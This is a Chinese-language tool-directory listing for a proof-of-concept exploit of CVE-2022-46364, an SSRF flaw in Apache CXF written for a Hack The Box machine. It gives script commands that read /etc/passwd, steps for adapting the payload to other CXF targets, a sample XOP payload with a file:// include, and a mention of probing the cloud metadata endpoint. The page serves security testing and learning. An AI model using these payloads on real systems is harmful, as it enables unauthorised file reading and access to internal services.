Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/c0gnit00/cve-2022-46364
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubc0gnit00/cve-2022-46364

CVE-2022-46364

针对 CVE-2022-46364 的概念验证漏洞利用程序,这是 Apache CXF 中的一个 SSRF 漏洞,允许通过精心构造的 MTOM/XOP SOAP 请求实现任意文件读取和内部网络探测。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-46364 — Apache CXF MTOM/XOP SSRF(文件读取)

针对 CVE-2022-46364 的概念验证(PoC)利用程序 —— Apache CXF 在 MTOM/XOP 请求处理中的服务端请求伪造(SSRF)漏洞。


漏洞概述

CVE-2022-46364 影响 3.4.10 和 3.5.5 之前版本的 Apache CXF。当 SOAP 服务启用 MTOM(消息传输优化机制)时,CXF 反编组器会对 <xop:Include> 元素内的 href 属性校验不当。CXF 并未按要求将 href 限制为 cid: URI(W3C XOP 规范要求如此),而是解引用了任意 URI —— 包括 file://、http:// 和 https://。

这使得未经认证的攻击者能够:

  • 读取任意本地文件(file:///etc/passwd)
  • 对内部服务执行 SSRF(http://169.254.169.254/)
  • 可能访问云元数据端点或内部 API

目标

本 PoC 编写并测试于 Hack The Box 机器:

目标端点: http://devarea.htb:8080/employeeservice

但根据目标 WSDL 对 XML 载荷稍作修改,即可使其适配目标环境。


使用方法

读取 /etc/passwd(默认目标)

默认 URL 为 http://devarea.htb:8080/employeeservice。

root@kitploit:~
python3 CVE-2022-46364.py --file /etc/passwd

自定义目标 URL

root@kitploit:~
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd

详细模式 —— 显示请求及原始响应

root@kitploit:~
python3 CVE-2022-46364.py --file /etc/passwd --verbose

适配其他目标

重要提示: 此脚本针对 HTB DevArea 的 WSDL 结构进行了硬编码。要将其用于另一个存在漏洞的 Apache CXF 服务,必须修改 build_payload() 中的 SOAP 载荷,以匹配目标 WSDL 契约。

适配步骤:

  1. 获取目标的 WSDL:

    root@kitploit:~
    curl http://target:8080/employeeservice?wsdl
    
  2. 确定服务详细信息:

    • targetNamespace(例如 http://devarea.htb/)
    • 操作名称(例如 submitReport)
    • 参数结构(例如包含嵌套 <content> 的 <arg0>)
  3. 修改 build_payload() 中的载荷:

    • 更新命名空间(xmlns:dev="...")
    • 更新操作名称(<dev:submitReport>)
    • 更新参数包装器(<arg0>)
    • 将 <xop:Include href="file://{filepath}"/> 放置在服务器将作为附件处理的字段内
  4. 运行脚本时更新 --url。

WSDL 适配示例

给定以下 WSDL 片段:

root@kitploit:~
<wsdl:definitions targetNamespace="http://example.com/">
  <wsdl:operation name="uploadDocument">
    <wsdl:input message="tns:uploadDocument"/>
  </wsdl:operation>
</wsdl:definitions>

你的载荷应变为:

root@kitploit:~
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
  <soapenv:Body>
    <ex:uploadDocument>
      <document>
        <xop:Include href="file:///etc/passwd"/>
      </document>
    </ex:uploadDocument>
  </soapenv:Body>
</soapenv:Envelope>

工作原理

  1. 脚本构造一个带有 Content-Type: application/xop+xml 的 multipart/related HTTP 请求。
  2. 在 SOAP 正文中放置一个 <xop:Include href="file:///etc/passwd"/> 元素。
  3. 存在漏洞的 CXF 服务器将其视为附件引用,并解引用 file:// URI。
  4. 文件内容被读取,由服务器进行 base64 编码,然后通过 SOAP <return> 元素返回。
  5. 脚本提取 Content: 之后的 base64 字符串并对其进行解码。

参考资料


免责声明

本工具仅用于授权的安全测试和教育目的。在测试不属于你的系统之前,请务必获得明确许可。作者不对因使用本脚本而造成的任何滥用或损害负责。


许可证

MIT 许可证 —— 欢迎适当注明出处后使用、修改和分享。

下载工具
资源链接
Apache CXF 安全公告CVE-2022-46364
NVD 条目NVD — CVE-2022-46364
Apache Jira(CXF-8706)CXF-8706
W3C XOP 规范XML-binary Optimized Packaging
Penligent 深入分析CVE-2022-46364 PoC in Practice
HTB DevAreaHack The Box — DevArea